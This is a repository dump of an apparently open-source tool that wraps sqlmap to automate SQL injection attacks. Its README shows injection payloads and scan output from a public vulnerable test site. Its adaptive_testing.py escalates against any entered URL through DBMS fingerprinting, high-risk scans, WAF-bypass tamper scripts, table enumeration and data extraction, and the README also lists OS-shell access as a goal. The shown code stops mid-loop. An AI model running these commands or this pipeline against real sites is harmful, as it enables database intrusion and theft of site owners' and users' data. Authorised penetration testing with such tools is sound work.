├── .env.local ├── .gitignore ├── LICENSE ├── README.md ├── requirements.txt ├── run.py ├── sqlmap.gif ├── sqlmap_ai ├── __init__.py ├── adaptive_testing.py ├── ai_analyzer.py ├── main.py ├── parser.py ├── runner.py ├── timeout_handler.py └── ui.py └── utils ├── __init__.py └── groq_utils.py /.env.local: -------------------------------------------------------------------------------- 1 | GROQ_API_KEY=your_groq_api -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .env 2 | sqlmap 3 | .venv 4 | __pycache__ 5 | requirements.txt 6 | test.py 7 | sqlmap_adaptive_partial_report_* 8 | sqlmap.cast 9 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SQLMap AI Assistant 2 | 3 | An AI-powered wrapper around SQLMap that makes SQL injection testing more accessible and automated. 4 | 5 | ## Features 6 | 7 | - AI-assisted SQL injection testing 8 | - Automated result analysis and next step suggestions 9 | - User-friendly output and reporting 10 | - **NEW: Adaptive step-by-step testing with DBMS-specific optimizations and WAF bypass** 11 | 12 | ## Requirements 13 | 14 | - Python 3.7+ 15 | - SQLMap 16 | - Required Python packages (see requirements.txt) 17 | 18 | ## Installation 19 | 20 | 1. Clone this repository: 21 | ```bash 22 | git clone https://github.com/yourusername/sqlmap-ai.git 23 | cd sqlmap-ai 24 | ``` 25 | 26 | 2. Install the required dependencies: 27 | ```bash 28 | pip install -r requirements.txt 29 | ``` 30 | 31 | 3. Make sure SQLMap is available in the `sqlmap` directory or add it: 32 | ```bash 33 | git clone https://github.com/sqlmapproject/sqlmap.git 34 | ``` 35 | 36 | ## Usage 37 | 38 | ### Create Env 39 | 40 | Create a `.env` file in the root directory with the following variables: 41 | 42 | ```bash 43 | # Required 44 | GROQ_API_KEY=your_groq_api_key 45 | ``` 46 | 47 | You can get a Groq API key by signing up at [https://console.groq.com](https://console.groq.com). 48 | 49 | ### Standard Mode 50 | 51 | Run the assistant in standard mode: 52 | 53 | ```bash 54 | python run.py 55 | ``` 56 | 57 | ### Adaptive Testing Mode 58 | 59 | Run the assistant in adaptive step-by-step testing mode: 60 | 61 | ```bash 62 | python run.py --adaptive 63 | ``` 64 | 65 | The adaptive mode will: 66 | 67 | 1. **Initial Target Assessment** - Check if the target is vulnerable to SQL injection 68 | 2. **DBMS Identification** - Identify the database management system type 69 | 3. **DBMS-Specific Optimization** - Tailored attack based on detected DBMS: 70 | - MySQL: Extract databases and tables 71 | - MSSQL: Try to gain OS shell access 72 | - Oracle: Use specialized Oracle techniques 73 | - PostgreSQL: Customized PostgreSQL attack vectors 74 | 4. **Adaptive WAF Bypass** - Dynamically select tamper scripts based on WAF detection 75 | 5. **Data Extraction** - Extract sensitive information from databases 76 | 6. **Alternative Input Testing** - Test POST parameters, cookies, and headers 77 | 78 | ## Examples 79 | 80 | ![demo](./sqlmap.gif) 81 | 82 | ### Testing a vulnerable web application 83 | 84 | ```bash 85 | python run.py --adaptive 86 | # Enter target URL: http://testphp.vulnweb.com/artists.php?artist=1 87 | ``` 88 | 89 | ### Testing with increased timeout 90 | 91 | ```bash 92 | python run.py --adaptive 93 | # Enter target URL: http://example.com/page.php?id=1 94 | # Enter timeout in seconds: 300 95 | ``` 96 | 97 | ### Example output 98 | ```plaintext 99 | success: True 100 | partial: True 101 | message: Found databases but unable to enumerate tables. The database might be empty or protected. 102 | databases_found: ['acuart', 'information_schema'] 103 | 104 | Scan History: 105 | 106 | Step: initial_assessment 107 | Command: sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=12 --batch --dbs --threads=5 108 | 109 | Step: dbms_specific_scan 110 | Command: sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=12 --batch --dbms=mysql --tables --threads=5 111 | 112 | Step: high_risk_testing 113 | Command: sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=12 --batch --risk=3 --level=5 114 | 115 | Step: high_risk_tables 116 | Command: sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=12 --batch --tables --risk=3 --level=5 117 | ``` 118 | 119 | ```json 120 | { 121 | "timestamp": 1743273810, 122 | "scan_info": { 123 | "vulnerable_parameters": [ 124 | "cat" 125 | ], 126 | "techniques": [ 127 | "MySQL" 128 | ], 129 | "databases": [], 130 | "tables": [], 131 | "columns": {}, 132 | "dbms": "MySQL >= 8.0.0", 133 | "os": "Linux Ubuntu", 134 | "waf_detected": false, 135 | "web_app": [ 136 | "PHP 5.6.40", 137 | "Nginx 1.19.0" 138 | ], 139 | "payloads": [ 140 | "cat=(SELECT (CASE WHEN (3918=3918) THEN 12 ELSE (SELECT 6516 UNION SELECT 1824) END))", 141 | "cat=12 AND GTID_SUBSET(CONCAT(0x7176717071,(SELECT (ELT(3742=3742,1))),0x7162706b71),3742)", 142 | "cat=12 AND (SELECT 2321 FROM (SELECT(SLEEP(5)))cKgu)", 143 | "cat=12 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176717071,0x4a61754b68596e4c74794e6b52544d4b506967536c4c534b6173646b6954724d676269494f697842,0x7162706b71),NULL-- -" 144 | ], 145 | "raw_result": " ___\n __H__\n ___ ___[)]_____ ___ ___ {1.9.3.4#dev}\n|_ -| . [(] | .'| . |\n|___|_ [\"]_|_|_|__,| _|\n |_|V... |_| https://sqlmap.org\n\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\n\n[*] starting @ 19:43:25 /2025-03-29/\n\n[19:43:27] [INFO] testing connection to the target URL\nsqlmap resumed the following injection point(s) from stored session:\n---\nParameter: cat (GET)\n Type: boolean-based blind\n Title: Boolean-based blind - Parameter replace (original value)\n Payload: cat=(SELECT (CASE WHEN (3918=3918) THEN 12 ELSE (SELECT 6516 UNION SELECT 1824) END))\n\n Type: error-based\n Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)\n Payload: cat=12 AND GTID_SUBSET(CONCAT(0x7176717071,(SELECT (ELT(3742=3742,1))),0x7162706b71),3742)\n\n Type: time-based blind\n Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n Payload: cat=12 AND (SELECT 2321 FROM (SELECT(SLEEP(5)))cKgu)\n\n Type: UNION query\n Title: Generic UNION query (NULL) - 11 columns\n Payload: cat=12 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176717071,0x4a61754b68596e4c74794e6b52544d4b506967536c4c534b6173646b6954724d676269494f697842,0x7162706b71),NULL-- -\n---\n[19:43:28] [INFO] testing MySQL\n[19:43:28] [INFO] confirming MySQL\n[19:43:28] [INFO] the back-end DBMS is MySQL\nweb server operating system: Linux Ubuntu\nweb application technology: PHP 5.6.40, Nginx 1.19.0\nback-end DBMS: MySQL >= 8.0.0\n[19:43:28] [INFO] fetching tables for database: 'acuart'\nDatabase: acuart\n[8 tables]\n+-----------+\n| artists |\n| carts |\n| categ |\n| featured |\n| guestbook |\n| pictures |\n| products |\n| users |\n+-----------+\n\n[*] ending @ 19:43:28 /2025-03-29/\n", 146 | "url": "", 147 | "extracted": {} 148 | }, 149 | "scan_history": [ 150 | { 151 | "step": "initial_assessment", 152 | "command": "sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=12 --batch --dbs --threads=5", 153 | "result": { 154 | "vulnerable_parameters": [ 155 | "cat" 156 | ], 157 | "techniques": [ 158 | "MySQL" 159 | ], 160 | "databases": [ 161 | "acuart", 162 | "information_schema" 163 | ], 164 | "tables": [], 165 | "columns": {}, 166 | "dbms": "MySQL 8", 167 | "os": "Linux Ubuntu", 168 | "waf_detected": false, 169 | "web_app": [ 170 | "PHP 5.6.40", 171 | "Nginx 1.19.0" 172 | ], 173 | "payloads": [ 174 | "cat=(SELECT (CASE WHEN (3918=3918) THEN 12 ELSE (SELECT 6516 UNION SELECT 1824) END))", 175 | "cat=12 AND GTID_SUBSET(CONCAT(0x7176717071,(SELECT (ELT(3742=3742,1))),0x7162706b71),3742)", 176 | "cat=12 AND (SELECT 2321 FROM (SELECT(SLEEP(5)))cKgu)", 177 | "cat=12 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176717071,0x4a61754b68596e4c74794e6b52544d4b506967536c4c534b6173646b6954724d676269494f697842,0x7162706b71),NULL-- -" 178 | ], 179 | "raw_result": "SQLMap output truncated for readability", 180 | "url": "", 181 | "extracted": {} 182 | } 183 | }, 184 | { 185 | "step": "dbms_specific_scan", 186 | "command": "sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=12 --batch --dbms=mysql --tables --threads=5", 187 | "result": { 188 | "vulnerable_parameters": [ 189 | "cat" 190 | ], 191 | "techniques": [ 192 | "MySQL" 193 | ], 194 | "databases": [], 195 | "tables": [], 196 | "columns": {}, 197 | "dbms": "MySQL >= 8.0.0", 198 | "os": "Linux Ubuntu", 199 | "waf_detected": false, 200 | "web_app": [ 201 | "PHP 5.6.40", 202 | "Nginx 1.19.0" 203 | ], 204 | "payloads": [ 205 | "cat=(SELECT (CASE WHEN (3918=3918) THEN 12 ELSE (SELECT 6516 UNION SELECT 1824) END))", 206 | "cat=12 AND GTID_SUBSET(CONCAT(0x7176717071,(SELECT (ELT(3742=3742,1))),0x7162706b71),3742)", 207 | "cat=12 AND (SELECT 2321 FROM (SELECT(SLEEP(5)))cKgu)", 208 | "cat=12 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176717071,0x4a61754b68596e4c74794e6b52544d4b506967536c4c534b6173646b6954724d676269494f697842,0x7162706b71),NULL-- -" 209 | ], 210 | "raw_result": "SQLMap output truncated for readability", 211 | "url": "", 212 | "extracted": {} 213 | } 214 | }, 215 | { 216 | "step": "high_risk_testing", 217 | "command": "sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=12 --batch --risk=3 --level=5", 218 | "result": { 219 | "vulnerable_parameters": [ 220 | "cat" 221 | ], 222 | "techniques": [ 223 | "MySQL" 224 | ], 225 | "databases": [ 226 | "acuart", 227 | "information_schema" 228 | ], 229 | "tables": [], 230 | "columns": {}, 231 | "dbms": "MySQL >= 8.0.0", 232 | "os": "Linux Ubuntu", 233 | "waf_detected": false, 234 | "web_app": [ 235 | "Nginx 1.19.0", 236 | "PHP 5.6.40" 237 | ], 238 | "payloads": [ 239 | "cat=(SELECT (CASE WHEN (3918=3918) THEN 12 ELSE (SELECT 6516 UNION SELECT 1824) END))", 240 | "cat=12 AND GTID_SUBSET(CONCAT(0x7176717071,(SELECT (ELT(3742=3742,1))),0x7162706b71),3742)", 241 | "cat=12 AND (SELECT 2321 FROM (SELECT(SLEEP(5)))cKgu)", 242 | "cat=12 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176717071,0x4a61754b68596e4c74794e6b52544d4b506967536c4c534b6173646b6954724d676269494f697842,0x7162706b71),NULL-- -" 243 | ], 244 | "raw_result": "SQLMap output truncated for readability", 245 | "url": "", 246 | "extracted": {} 247 | } 248 | }, 249 | { 250 | "step": "high_risk_tables", 251 | "command": "sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=12 --batch --tables --risk=3 --level=5", 252 | "result": { 253 | "vulnerable_parameters": [ 254 | "cat" 255 | ], 256 | "techniques": [ 257 | "MySQL" 258 | ], 259 | "databases": [], 260 | "tables": [], 261 | "columns": {}, 262 | "dbms": "MySQL >= 8.0.0", 263 | "os": "Linux Ubuntu", 264 | "waf_detected": false, 265 | "web_app": [ 266 | "PHP 5.6.40", 267 | "Nginx 1.19.0" 268 | ], 269 | "payloads": [ 270 | "cat=(SELECT (CASE WHEN (3918=3918) THEN 12 ELSE (SELECT 6516 UNION SELECT 1824) END))", 271 | "cat=12 AND GTID_SUBSET(CONCAT(0x7176717071,(SELECT (ELT(3742=3742,1))),0x7162706b71),3742)", 272 | "cat=12 AND (SELECT 2321 FROM (SELECT(SLEEP(5)))cKgu)", 273 | "cat=12 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176717071,0x4a61754b68596e4c74794e6b52544d4b506967536c4c534b6173646b6954724d676269494f697842,0x7162706b71),NULL-- -" 274 | ], 275 | "raw_result": "SQLMap output truncated for readability", 276 | "url": "", 277 | "extracted": {} 278 | } 279 | } 280 | ] 281 | } 282 | ``` 283 | 284 | ## Contributing 285 | 286 | This project welcomes contributions from the community! Here are some ways you can help: 287 | 288 | ### Areas for Improvement 289 | 290 | - **Additional DBMS Support**: Enhance support for less common database types 291 | - **Advanced WAF Bypass Techniques**: Implement more sophisticated WAF detection and bypass methods 292 | - **Reporting Enhancements**: Improve the report generation with more detailed analysis 293 | - **UI/UX Improvements**: Create a web interface or better command-line experience 294 | - **Custom Tamper Scripts**: Develop specialized tamper scripts for specific WAF types 295 | - **Documentation**: Improve documentation and add more examples 296 | - **Testing**: Add test cases and improve test coverage 297 | 298 | ### How to Contribute 299 | 300 | 1. Fork the repository 301 | 2. Create a feature branch (`git checkout -b feature/amazing-feature`) 302 | 3. Make your changes 303 | 4. Commit your changes (`git commit -m 'Add some amazing feature'`) 304 | 5. Push to the branch (`git push origin feature/amazing-feature`) 305 | 6. Open a Pull Request 306 | 307 | ### Development Setup 308 | 309 | To set up the development environment: 310 | 311 | ```bash 312 | # Clone your fork 313 | git clone https://github.com/yourusername/sqlmap-ai.git 314 | cd sqlmap-ai 315 | 316 | # Set up virtual environment (recommended) 317 | python -m venv venv 318 | source venv/bin/activate # On Windows: venv\Scripts\activate 319 | 320 | # Install dependencies including development requirements 321 | pip install -r requirements.txt 322 | pip install -r requirements-dev.txt # if available 323 | 324 | ## License 325 | 326 | This project is licensed under the MIT License - see the LICENSE file for details. 327 | 328 | ## Credits 329 | 330 | - SQLMap project: https://github.com/sqlmapproject/sqlmap 331 | - Groq API for AI-powered suggestions 332 | ``` 333 | 334 | ## Disclaimer 335 | This tool is intended for educational and ethical hacking purposes only. Always obtain permission before testing any system or application. The developers are not responsible for any misuse or damage caused by this tool. 336 | 337 | ## Star History 338 | 339 | [![Star History Chart](https://api.star-history.com/svg?repos=atiilla/sqlmap-ai&type=Date)](https://www.star-history.com/#atiilla/sqlmap-ai&Date) -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | python-dotenv 2 | groq 3 | -------------------------------------------------------------------------------- /run.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | SQLMap AI Assistant - Main runner script 4 | """ 5 | 6 | from sqlmap_ai.main import main 7 | 8 | if __name__ == "__main__": 9 | main() -------------------------------------------------------------------------------- /sqlmap.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/atiilla/sqlmap-ai/e7295ae732af53b284d14edbfe0579e7e433173d/sqlmap.gif -------------------------------------------------------------------------------- /sqlmap_ai/__init__.py: -------------------------------------------------------------------------------- 1 | __version__ = "0.1.0" -------------------------------------------------------------------------------- /sqlmap_ai/adaptive_testing.py: -------------------------------------------------------------------------------- 1 | import re 2 | import time 3 | from typing import Dict, List, Optional, Tuple, Any 4 | from sqlmap_ai.ui import ( 5 | print_info, 6 | print_success, 7 | print_warning, 8 | print_error, 9 | get_user_choice 10 | ) 11 | from sqlmap_ai.parser import extract_sqlmap_info 12 | from sqlmap_ai.ai_analyzer import ai_suggest_next_steps 13 | class AdaptiveTestingEngine: 14 | def __init__(self, runner, interactive_mode=False, default_timeout=120): 15 | self.runner = runner 16 | self.interactive_mode = interactive_mode 17 | self.default_timeout = default_timeout 18 | self.scan_history = [] 19 | self.detected_dbms = None 20 | self.detected_waf = False 21 | self.vulnerable_params = [] 22 | self.tamper_scripts_used = [] 23 | def run_adaptive_test(self, target_url: str) -> Dict[str, Any]: 24 | if not self._validate_url(target_url): 25 | return { 26 | "success": False, 27 | "message": f"Invalid URL format: {target_url}. Please use format like http://example.com/page.php?id=1" 28 | } 29 | print_info("🟢 Step 1: Initial Target Assessment") 30 | print_info("Objective: Check if target is vulnerable to SQL injection") 31 | initial_result = self._run_step1_assessment(target_url) 32 | if not initial_result: 33 | return {"success": False, "message": "Initial assessment failed - no output from SQLMap"} 34 | if initial_result.startswith("ERROR:") or initial_result.startswith("WARNING:"): 35 | return {"success": False, "message": initial_result} 36 | if "TIMEOUT:" in initial_result or "STALLED:" in initial_result: 37 | if "TIMEOUT:" in initial_result: 38 | print_warning("Initial assessment timed out. Try increasing the timeout value.") 39 | else: 40 | print_warning("Initial assessment stalled. SQLMap might be stuck in a loop.") 41 | print_info("Attempting fallback with simplified options...") 42 | fallback_options = ["--batch", "--dbs", "--tech=T", "--time-sec=5", "--threads=8"] 43 | reduced_timeout = max(self.default_timeout // 2, 60) 44 | print_info(f"Using fallback options with reduced timeout of {reduced_timeout} seconds") 45 | fallback_result = self.runner.run_sqlmap( 46 | target_url=target_url, 47 | options=fallback_options, 48 | timeout=reduced_timeout, 49 | interactive_mode=self.interactive_mode 50 | ) 51 | if fallback_result and not ( 52 | fallback_result.startswith("ERROR:") or 53 | "TIMEOUT:" in fallback_result or 54 | "STALLED:" in fallback_result 55 | ): 56 | print_success("Fallback assessment completed!") 57 | initial_result = fallback_result 58 | else: 59 | return {"success": False, "message": "Initial assessment failed with fallback options"} 60 | initial_info = extract_sqlmap_info(initial_result) 61 | self.scan_history.append({ 62 | "step": "initial_assessment", 63 | "command": "sqlmap -u {} --batch --dbs --threads=5".format(target_url), 64 | "result": initial_info 65 | }) 66 | if initial_info["databases"]: 67 | print_success("SQL injection vulnerability confirmed!") 68 | self.vulnerable_params = initial_info["vulnerable_parameters"] 69 | if any(db.lower() in ["mysql", "mssql", "oracle", "postgresql"] for db in initial_info["techniques"]): 70 | self.detected_dbms = next((db for db in initial_info["techniques"] 71 | if db.lower() in ["mysql", "mssql", "oracle", "postgresql"]), None) 72 | print_success(f"DBMS identified: {self.detected_dbms}") 73 | step3_result = self._run_step3_dbms_specific(target_url) 74 | return step3_result 75 | else: 76 | print_warning("No databases found in initial scan. Moving to DBMS identification.") 77 | print_info("🟡 Step 2: Identify the Database Management System (DBMS)") 78 | print_info("Objective: Identify the DBMS type for targeted attack strategy") 79 | dbms_result = self._run_step2_identify_dbms(target_url) 80 | if not dbms_result: 81 | return {"success": False, "message": "DBMS identification failed - no output from SQLMap"} 82 | if dbms_result.startswith("ERROR:") or dbms_result.startswith("WARNING:"): 83 | print_warning(f"DBMS identification issue: {dbms_result}") 84 | print_warning("Moving to enhanced testing despite identification issue") 85 | step4_result = self._run_step4_enhanced_testing(target_url) 86 | return step4_result 87 | if "TIMEOUT:" in dbms_result: 88 | print_warning("DBMS identification timed out. Moving to enhanced testing.") 89 | step4_result = self._run_step4_enhanced_testing(target_url) 90 | return step4_result 91 | dbms_info = extract_sqlmap_info(dbms_result) 92 | self.scan_history.append({ 93 | "step": "identify_dbms", 94 | "command": "sqlmap -u {} --batch --fingerprint --threads=5".format(target_url), 95 | "result": dbms_info 96 | }) 97 | if any(tech.lower() in ["mysql", "mssql", "oracle", "postgresql"] for tech in dbms_info["techniques"]): 98 | self.detected_dbms = next((tech for tech in dbms_info["techniques"] 99 | if tech.lower() in ["mysql", "mssql", "oracle", "postgresql"]), None) 100 | print_success(f"DBMS identified: {self.detected_dbms}") 101 | step3_result = self._run_step3_dbms_specific(target_url) 102 | return step3_result 103 | else: 104 | print_warning("Could not identify specific DBMS. Moving to enhanced testing.") 105 | step4_result = self._run_step4_enhanced_testing(target_url) 106 | return step4_result 107 | def _validate_url(self, url: str) -> bool: 108 | if not url or not isinstance(url, str): 109 | return False 110 | if not (url.startswith('http://') or url.startswith('https://')): 111 | return False 112 | placeholders = ['[TARGET_URL]', '{target}', '', 'example.com'] 113 | if any(ph in url for ph in placeholders): 114 | return False 115 | return True 116 | def _run_step1_assessment(self, target_url: str) -> Optional[str]: 117 | print_info("Running initial assessment with --batch --dbs --threads=5") 118 | result = self.runner.run_sqlmap( 119 | target_url=target_url, 120 | options=["--batch", "--dbs", "--threads=5"], 121 | timeout=self.default_timeout, 122 | interactive_mode=self.interactive_mode 123 | ) 124 | return result 125 | def _run_step2_identify_dbms(self, target_url: str) -> Optional[str]: 126 | print_info("Running DBMS fingerprinting with --threads=5") 127 | result = self.runner.run_sqlmap( 128 | target_url=target_url, 129 | options=["--batch", "--fingerprint", "--threads=5"], 130 | timeout=self.default_timeout, 131 | interactive_mode=self.interactive_mode 132 | ) 133 | return result 134 | def _run_step3_dbms_specific(self, target_url: str) -> Dict[str, Any]: 135 | print_info(f"🟠 Step 3: Optimized Attack for {self.detected_dbms}") 136 | print_info(f"Objective: Execute {self.detected_dbms}-specific attack techniques") 137 | options = ["--batch", f"--dbms={self.detected_dbms.lower()}", "--tables", "--threads=5"] 138 | if self.detected_dbms.lower() == "mysql": 139 | print_info("Using MySQL-specific attack options") 140 | elif self.detected_dbms.lower() == "mssql": 141 | print_info("Using MSSQL-specific attack options with OS shell capabilities") 142 | options.extend(["--is-dba", "--technique=BEU"]) 143 | elif self.detected_dbms.lower() == "oracle": 144 | print_info("Using Oracle-specific attack options") 145 | options.extend(["--technique=BEU", "--current-user", "--privileges"]) 146 | elif self.detected_dbms.lower() == "postgresql": 147 | print_info("Using PostgreSQL-specific attack options") 148 | options.extend(["--technique=BEU", "--schema", "--current-user"]) 149 | result = self.runner.run_sqlmap( 150 | target_url=target_url, 151 | options=options, 152 | timeout=self.default_timeout, 153 | interactive_mode=self.interactive_mode 154 | ) 155 | if not result: 156 | print_warning("DBMS-specific scan failed. Trying more limited options.") 157 | return self._run_step4_enhanced_testing(target_url) 158 | if result.startswith("ERROR:") or (result.startswith("WARNING:") and "No parameter(s) found" in result): 159 | print_warning(f"DBMS-specific scan issue: {result}") 160 | print_warning("Falling back to more targeted approach") 161 | limited_options = ["--batch", f"--dbms={self.detected_dbms.lower()}", "--dbs", "--threads=5"] 162 | limited_result = self.runner.run_sqlmap( 163 | target_url=target_url, 164 | options=limited_options, 165 | timeout=self.default_timeout, 166 | interactive_mode=self.interactive_mode 167 | ) 168 | if not limited_result or limited_result.startswith("ERROR:"): 169 | print_warning("Limited scan also failed. Moving to enhanced testing.") 170 | return self._run_step4_enhanced_testing(target_url) 171 | result = limited_result 172 | dbms_info = extract_sqlmap_info(result) 173 | databases = dbms_info.get("databases", []) 174 | self.scan_history.append({ 175 | "step": "dbms_specific_scan", 176 | "command": f"sqlmap -u {target_url} --batch --dbms={self.detected_dbms.lower()} --tables --threads=5", 177 | "result": dbms_info 178 | }) 179 | if databases: 180 | print_success(f"Found {len(databases)} databases") 181 | tables = dbms_info.get("tables", []) 182 | if tables: 183 | print_success(f"Found {len(tables)} tables") 184 | return self._run_step5_extract_data(target_url, dbms_info) 185 | else: 186 | print_info("No tables found. Trying to get tables with --tables option...") 187 | if len(databases) > 1: 188 | app_db = None 189 | system_dbs = ['information_schema', 'mysql', 'performance_schema', 'sys', 190 | 'master', 'model', 'msdb', 'tempdb', 191 | 'postgres', 'template0', 'template1'] 192 | filtered_dbs = [db for db in databases if db.lower() not in system_dbs] 193 | if filtered_dbs: 194 | table_options = ["--batch", f"--dbms={self.detected_dbms.lower()}", 195 | f"-D {filtered_dbs[0]}", "--tables", "--threads=5"] 196 | print_info(f"Targeting non-system database: {filtered_dbs[0]}") 197 | result = self.runner.run_sqlmap( 198 | target_url=target_url, 199 | options=table_options, 200 | timeout=self.default_timeout, 201 | interactive_mode=self.interactive_mode 202 | ) 203 | if result: 204 | tables_info = extract_sqlmap_info(result) 205 | self.scan_history.append({ 206 | "step": "table_enumeration", 207 | "command": f"sqlmap -u {target_url} --batch --dbms={self.detected_dbms.lower()} -D {filtered_dbs[0]} --tables --threads=5", 208 | "result": tables_info 209 | }) 210 | if tables_info.get("tables", []): 211 | dbms_info["tables"] = tables_info["tables"] 212 | return self._run_step5_extract_data(target_url, dbms_info) 213 | print_info("No tables found. Trying common table existence check...") 214 | common_tables_options = ["--batch", f"--dbms={self.detected_dbms.lower()}", "--common-tables", "--threads=8"] 215 | result = self.runner.run_sqlmap( 216 | target_url=target_url, 217 | options=common_tables_options, 218 | timeout=self.default_timeout, 219 | interactive_mode=self.interactive_mode 220 | ) 221 | if result: 222 | common_tables_info = extract_sqlmap_info(result) 223 | self.scan_history.append({ 224 | "step": "common_tables_check", 225 | "command": f"sqlmap -u {target_url} --batch --dbms={self.detected_dbms.lower()} --common-tables --threads=8", 226 | "result": common_tables_info 227 | }) 228 | if common_tables_info.get("tables", []): 229 | dbms_info["tables"] = common_tables_info["tables"] 230 | return self._run_step5_extract_data(target_url, dbms_info) 231 | print_info("Still no tables. Trying to find columns directly...") 232 | common_columns_options = ["--batch", f"--dbms={self.detected_dbms.lower()}", "--common-columns", "--threads=8"] 233 | result = self.runner.run_sqlmap( 234 | target_url=target_url, 235 | options=common_columns_options, 236 | timeout=self.default_timeout, 237 | interactive_mode=self.interactive_mode 238 | ) 239 | if result: 240 | common_columns_info = extract_sqlmap_info(result) 241 | self.scan_history.append({ 242 | "step": "common_columns_check", 243 | "command": f"sqlmap -u {target_url} --batch --dbms={self.detected_dbms.lower()} --common-columns --threads=8", 244 | "result": common_columns_info 245 | }) 246 | if common_columns_info.get("columns", {}): 247 | dbms_info["columns"] = common_columns_info["columns"] 248 | return self._run_step5_extract_data(target_url, dbms_info) 249 | print_warning("Standard methods failed to find tables. Trying alternative techniques...") 250 | alt_techniques_options = [ 251 | "--batch", 252 | f"--dbms={self.detected_dbms.lower()}", 253 | "--tables", 254 | "--technique=USE", 255 | "--risk=3", 256 | "--level=5", 257 | "--time-sec=2", 258 | "--threads=10" 259 | ] 260 | alt_techniques_result = self.runner.run_sqlmap( 261 | target_url=target_url, 262 | options=alt_techniques_options, 263 | timeout=self.default_timeout, 264 | interactive_mode=self.interactive_mode 265 | ) 266 | if alt_techniques_result: 267 | alt_techniques_info = extract_sqlmap_info(alt_techniques_result) 268 | self.scan_history.append({ 269 | "step": "alternative_techniques", 270 | "command": f"sqlmap -u {target_url} --batch --dbms={self.detected_dbms.lower()} --tables --technique=USE --risk=3 --level=5 --threads=10", 271 | "result": alt_techniques_info 272 | }) 273 | tables = alt_techniques_info.get("tables", []) 274 | if tables: 275 | print_success(f"Found {len(tables)} tables using alternative techniques") 276 | return self._run_step5_extract_data(target_url, alt_techniques_info) 277 | print_warning("Could not enumerate tables. Moving to enhanced testing which may bypass protections.") 278 | enhanced_result = self._run_step4_enhanced_testing(target_url) 279 | if enhanced_result and not enhanced_result.get("success", False): 280 | return { 281 | "success": True, 282 | "partial": True, 283 | "scan_history": self.scan_history, 284 | "message": "Found databases but unable to enumerate tables or extract data. " 285 | "The database might be empty or protected against enumeration.", 286 | "databases_found": databases 287 | } 288 | return enhanced_result 289 | else: 290 | print_warning("No databases enumerated. Moving to enhanced testing.") 291 | return self._run_step4_enhanced_testing(target_url) 292 | def _run_step4_enhanced_testing(self, target_url: str) -> Dict[str, Any]: 293 | print_info("🔴 Step 4: Enhanced Testing") 294 | print_info("Objective: Try more aggressive techniques to bypass protections") 295 | if self._check_for_waf(target_url): 296 | print_warning("Web Application Firewall (WAF) detected! Using bypass techniques...") 297 | tamper_options = ["--batch", "--dbs", "--risk=3", "--level=5", "--tamper=space2comment,between,randomcase"] 298 | if self.detected_dbms: 299 | tamper_options.extend([f"--dbms={self.detected_dbms.lower()}"]) 300 | waf_result = self.runner.run_sqlmap( 301 | target_url=target_url, 302 | options=tamper_options, 303 | timeout=self.default_timeout * 1.5, 304 | interactive_mode=self.interactive_mode 305 | ) 306 | if waf_result and "TIMEOUT:" not in waf_result and "STALLED:" not in waf_result: 307 | waf_info = extract_sqlmap_info(waf_result) 308 | self.scan_history.append({ 309 | "step": "waf_bypass", 310 | "command": f"sqlmap -u {target_url} --batch --risk=3 --level=5 --tamper=space2comment,between,randomcase", 311 | "result": waf_info 312 | }) 313 | databases = waf_info.get("databases", []) 314 | if databases: 315 | print_success(f"WAF bypass successful! Found {len(databases)} databases") 316 | if not waf_info.get("tables", []): 317 | print_info("Attempting to enumerate tables with WAF bypass...") 318 | table_tamper_options = ["--batch", "--tables", "--risk=3", "--level=5", 319 | "--tamper=space2comment,between,randomcase"] 320 | if self.detected_dbms: 321 | table_tamper_options.extend([f"--dbms={self.detected_dbms.lower()}"]) 322 | if len(databases) > 1: 323 | for db in databases: 324 | if 